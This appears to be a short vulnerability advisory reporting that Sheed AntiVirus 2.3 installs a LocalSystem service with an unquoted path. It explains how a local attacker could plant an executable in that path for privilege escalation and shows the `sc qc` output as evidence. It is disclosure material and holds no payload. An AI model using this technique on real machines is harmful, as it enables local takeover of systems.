Sheed AntiVirus 2.3 - Unquoted Service Path Privilege Escalation

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# Exploit Title: sheed AntiVirus Unquoted Service Path Privilege Escalation
# Date: 11/10/2016
# Author: Amir.ght
# Vendor Homepage: http://sheedantivirus.ir/
# Software Link:http://dl.sheedantivirus.ir/setup.exe
#version : 2.3  (Latest)
# Tested on: Windows 7
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sheed AntiVirus installs a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
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C:\>sc qc ShavProt
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ShavProt
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files\Sheed AntiVirus\shgrprot.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ShavProt
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem